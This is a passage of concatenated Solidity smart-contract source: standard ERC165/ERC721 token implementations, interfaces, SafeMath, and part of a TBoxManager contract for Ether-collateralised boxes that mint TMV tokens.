// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity 0.4.25;
import "./IERC165.sol";
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor () internal {
_registerInterface(_InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev internal method for registering an interface
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity 0.4.25;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./SafeMath.sol";
import "./Address.sol";
import "./ERC165.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkOnERC721Received(from, to, tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to add a token ID to the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event,
* and doesn't clear approvals.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) {
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param owner owner of the token
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
pragma solidity 0.4.25;
import "./IERC721Enumerable.sol";
import "./ERC721.sol";
import "./ERC165.sol";
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor () public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
/**
* @dev Internal function to add a token ID to the list of a given address
* This function is internal due to language limitations, see the note in ERC721.sol.
* It is not intended to be called by custom derived contracts: in particular, it emits no Transfer event.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* This function is internal due to language limitations, see the note in ERC721.sol.
* It is not intended to be called by custom derived contracts: in particular, it emits no Transfer event,
* and doesn't clear approvals.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
pragma solidity 0.4.25;
import "./ERC721.sol";
import "./IERC721Metadata.sol";
import "./ERC165.sol";
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
pragma solidity 0.4.25;
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity 0.4.25;
import "./IERC165.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
pragma solidity 0.4.25;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
pragma solidity 0.4.25;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity 0.4.25;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4);
}
pragma solidity 0.4.25;
/// @title IOracle
/// @dev Interface for getting the data from the oracle contract.
interface IOracle {
function ethUsdPrice() external view returns(uint256);
}
pragma solidity 0.4.25;
/// @title ISettings
/// @dev Interface for getting the data from settings contract.
interface ISettings {
function oracleAddress() external view returns(address);
function minDeposit() external view returns(uint256);
function sysFee() external view returns(uint256);
function userFee() external view returns(uint256);
function ratio() external view returns(uint256);
function globalTargetCollateralization() external view returns(uint256);
function tmvAddress() external view returns(uint256);
function maxStability() external view returns(uint256);
function minStability() external view returns(uint256);
function gasPriceLimit() external view returns(uint256);
function isFeeManager(address account) external view returns (bool);
function tBoxManager() external view returns(address);
}
pragma solidity 0.4.25;
/// @title IToken
/// @dev Interface for interaction with the TMV token contract.
interface IToken {
function burnLogic(address from, uint256 value) external;
function approve(address spender, uint256 value) external;
function balanceOf(address who) external view returns (uint256);
function mint(address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 tokenId) external;
}
pragma solidity 0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'mul');
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, 'div');
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'sub');
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'add');
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.4.25;
import "./TBoxToken.sol";
import "./ISettings.sol";
import "./IToken.sol";
import "./IOracle.sol";
/// @title TBoxManager
contract TBoxManager is TBoxToken {
// Total packed Ether
uint256 public globalETH;
// Precision using for USD and commission
uint256 public precision = 100000;
// The address of the system settings contract
ISettings public settings;
/// @dev An array containing the Boxes struct for all Boxes in existence. The ID
/// of each Box is actually an index into this array.
Box[] public boxes;
/// @dev The main Box struct. Every Box in TimviSystem is represented by a copy
/// of this structure.
struct Box {
// The collateral Ether amount in wei
uint256 collateral;
// The number of TMV withdrawn
uint256 tmvReleased;
}
/// @dev The Created event is fired whenever a new Box comes into existence. This includes
/// any time a Box is created through the create method.
event Created(uint256 indexed id, address owner, uint256 collateral, uint256 tmvReleased);
/// @dev The Closed event is fired whenever a Box is closed. Obviously, this includes
/// any time a Box is closed through the close method, but it is also called when
// a Box is closed through the closeDust method.
event Closed(uint256 indexed id, address indexed owner, address indexed closer);
/// @dev The Capitalized event is fired whenever a Box is capitalized.
event Capitalized(uint256 indexed id, address indexed owner, address indexed who, uint256 tmvAmount, uint256 totalEth, uint256 userEth);
/// @dev The EthWithdrawn event is fired whenever Ether is withdrawn from a Box
/// using withdrawEth method.
event EthWithdrawn(uint256 indexed id, uint256 value, address who);
/// @dev The TmvWithdrawn event is fired whenever TMV is withdrawn from a Box
/// using withdrawTmv method.
event TmvWithdrawn(uint256 indexed id, uint256 value, address who);
/// @dev The EthAdded event is fired whenever Ether is added to a Box
/// using addEth method.
event EthAdded(uint256 indexed id, uint256 value, address who);
/// @dev The TmvAdded event is fired whenever TMV is added to a Box
/// using addTmv method.
event TmvAdded(uint256 indexed id, uint256 value, address who);
/// @dev Defends against front-running attacks.
modifier validTx() {
require(tx.gasprice <= settings.gasPriceLimit(), "Gas price is greater than allowed");
_;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyAdmin() {
require(settings.isFeeManager(msg.sender), "You have no access");
_;
}
/// @dev Throws if Box with specified id does not exist.
modifier onlyExists(uint256 _id) {
require(_exists(_id), "Box does not exist");
_;
}
/// @dev Access modifier for token owner-only functionality.
modifier onlyApprovedOrOwner(uint256 _id) {
require(_isApprovedOrOwner(msg.sender, _id), "Box isn't your");
_;
}
/// @dev The constructor sets ERC721 token name and symbol.
/// @param _settings The address of the system settings contract.
constructor(address _settings) TBoxToken("TBoxToken", "TBX") public {
settings = ISettings(_settings);
}
/// @notice The funds are safe.
/// @dev Creates Box with max collateral percent.
function() external payable {
// Redirect to the create method with no tokens to withdraw
create(0);
}
/// @dev Withdraws system fee.
function withdrawFee(address _beneficiary) external onlyAdmin {
require(_beneficiary != address(0), "Zero address, be careful");
// Fee is the difference between the contract balance and
// amount of Ether used in the entire system collateralization
uint256 _fees = address(this).balance.sub(globalETH);
// Check that the fee is collected
require(_fees > 0, "There is no available fees");
// Transfer fee to provided address
_beneficiary.transfer(_fees);
}
/// @dev Checks possibility of the issue of the specified token amount
/// for provided Ether collateral and creates new Box
/// @param _tokensToWithdraw Number of tokens to withdraw
/// @return New Box ID.
function create(uint256 _tokensToWithdraw) public payable validTx returns (uint256) {
// Check that msg.value isn't smaller than minimum deposit
require(msg.value >= settings.minDeposit(), "Deposit is very small");
// Calculate collateralization when tokens are needed
if (_tokensToWithdraw > 0) {
// The number of tokens when collateralization is high
uint256 _tokenLimit = overCapWithdrawableTmv(msg.value);
// The number of tokens that can be safely withdrawn from the system
uint256 _maxGlobal = globalWithdrawableTmv(msg.value);
// Determine the higher number of tokens
if (_tokenLimit > _maxGlobal) {
_tokenLimit = _maxGlobal;
}
// The number of tokens that can be withdrawn anyway
uint256 _local = defaultWithdrawableTmv(msg.value);
// Determine the higher number of tokens
if (_tokenLimit < _local) {
_tokenLimit = _local;
}
// You can only withdraw available amount
require(_tokensToWithdraw <= _tokenLimit, "Token amount is more than available");
// Mint TMV tokens to the Box creator
IToken(settings.tmvAddress()).mint(msg.sender, _tokensToWithdraw);
}
// The id of the new Box
uint256 _id = boxes.push(Box(msg.value, _tokensToWithdraw)).sub(1);
// Increase global Ether counter
globalETH = globalETH.add(msg.value);
// Mint TBX token to the Box creator
_mint(msg.sender, _id);
// Fire the event
emit Created(_id, msg.sender, msg.value, _tokensToWithdraw);
// return the new Box's ID
return _id;
}
/// @dev Allows the owner or approved user of the Box to close one by burning the
/// required number of tokens and return the Box's collateral.
/// @param _id A Box ID to close.
function close(uint256 _id) external onlyApprovedOrOwner(_id) {
// Address of the owner of the Box
address _owner = _tokenOwner[_id];
// Burn needed number of tokens
uint256 _tokensNeed = boxes[_id].tmvReleased;
_burnTMV(msg.sender, _tokensNeed);
// Grab a reference to the Box's collateral in storage
uint256 _collateral = boxes[_id].collateral;
// burn Box token
_burn(_owner, _id);
// Removes Box
delete boxes[_id];
// Send the Box's collateral to the person who made closing happen
msg.sender.transfer(_collateral);
// Decrease global Ether counter
globalETH = globalETH.sub(_collateral);
// Fire the event
emit Closed(_id, _owner, msg.sender);
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows the user to capitalize a Box with the maximum current amount.
/// @param _id A Box ID to capitalize.
function capitalizeMax(uint256 _id) external {
capitalize(_id, maxCapAmount(_id));
}
/// @dev Allows the user to capitalize a Box with specified number of tokens.
/// @param _id A Box ID to capitalize.
/// @param _tmv Specified number of tokens to capitalize.
function capitalize(uint256 _id, uint256 _tmv) public validTx {
// The maximum number of tokens for which Box can be capitalized
uint256 _maxCapAmount = maxCapAmount(_id);
// Check the number of tokens
require(_tmv <= _maxCapAmount && _tmv >= 10 ** 17, "Tokens amount out of range");
// Decrease Box TMV withdrawn counter
boxes[_id].tmvReleased = boxes[_id].tmvReleased.sub(_tmv);
// Calculate the Ether equivalent of tokens according to the logic
// where 1 TMV is equal to 1 USD
uint256 _equivalentETH = _tmv.mul(precision).div(rate());
// Calculate system fee
uint256 _fee = _tmv.mul(settings.sysFee()).div(rate());
// Calculate user bonus
uint256 _userReward = _tmv.mul(settings.userFee()).div(rate());
// Decrease Box's collateral amount
boxes[_id].collateral = boxes[_id].collateral.sub(_fee.add(_userReward).add(_equivalentETH));
// Decrease global Ether counter
globalETH = globalETH.sub(_fee.add(_userReward).add(_equivalentETH));
// burn Box token
_burnTMV(msg.sender, _tmv);
// Send the Ether equivalent & user benefit to the person who made capitalization happen.
msg.sender.transfer(_equivalentETH.add(_userReward));
// Fire the event
emit Capitalized(_id, ownerOf(_id), msg.sender, _tmv, _equivalentETH.add(_userReward).add(_fee), _equivalentETH.add(_userReward));
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows an owner or approved user of the Box to withdraw maximum amount
/// of Ether from the Box.
/// @param _id A Box ID.
function withdrawEthMax(uint256 _id) external {
withdrawEth(_id, withdrawableEth(_id));
}
/// @dev Allows an owner or approved user of the Box to withdraw specified amount
/// of Ether from the Box.
/// @param _id A Box ID.
/// @param _amount The number of Ether to withdraw.
function withdrawEth(uint256 _id, uint256 _amount) public onlyApprovedOrOwner(_id) validTx {
require(_amount > 0, "Withdrawing zero");
require(_amount <= withdrawableEth(_id), "You can't withdraw so much");
// Decrease Box's collateral amount
boxes[_id].collateral = boxes[_id].collateral.sub(_amount);
// Decrease global Ether counter
globalETH = globalETH.sub(_amount);
// Send the Ether to the person who made capitalization happen
msg.sender.transfer(_amount);
// Fire the event
emit EthWithdrawn(_id, _amount, msg.sender);
}
/// @notice This allows you not to be tied to the current ETH/USD rate.
/// @dev Allows an owner or approved user of the Box to withdraw maximum number
/// of TMV tokens from the Box.
/// @param _id A Box ID.
function withdrawTmvMax(uint256 _id) external onlyApprovedOrOwner(_id) {
withdrawTmv(_id, boxWithdrawableTmv(_id));
}
/// @dev Allows an owner or approved user of the Box to withdraw specified number
/// of TMV tokens from the Box.
/// @param _id A Box ID.
/// @param _amount The number of tokens to withdraw.
function withdrawTmv(uint256 _id, uint256 _amount) public onlyApprovedOrOwner(_id) validTx {
require(_amount > 0, "Withdrawing zero");
// Check the number of tokens
require(_amount <= boxWithdrawableTmv(_id), "You can't withdraw so much");
// Increase Box TMV withdrawn counter
boxes[_id].tmvReleased = boxes[_id].tmvReleased.add(_amount);
// Mints tokens to the person who made withdrawing
IToken(settings.tmvAddress()).mint(msg.sender, _amount);
// Fire the event
emit TmvWithdrawn(_id, _amount, msg.sender);
}
/// @dev Allows anyone to add Ether to a Box.
/// @param _id A Box ID.
function addEth(uint256 _id) external payable onlyExists(_id) {
require(msg.value > 0, "Don't add 0");
// Increase Box collateral
boxes[_id].collateral = boxes[_id].collateral.add(msg.value);
// Increase global Ether counter
globalETH = globalETH.add(msg.value);
// Fire the event
emit EthAdded(_id, msg.value, msg.sender);
}
/// @dev Allows anyone to add TMV to a Box.
/// @param _id A Box ID.
/// @param _amount The number of tokens to add.
function addTmv(uint256 _id, uint256 _amount) external onlyExists(_id) {
require(_amount > 0, "Don't add 0");
// Check the number of tokens
require(_amount <= boxes[_id].tmvReleased, "Too much tokens");
// Removes added tokens from the collateralization
_burnTMV(msg.sender, _amount);
boxes[_id].tmvReleased = boxes[_id].tmvReleased.sub(_amount);
// Fire the event
emit TmvAdded(_id, _amount, msg.sender);
}
/// @dev Allows anyone to close Box with collateral amount smaller than 3 USD.
/// The person who made closing happen will benefit like capitalization.
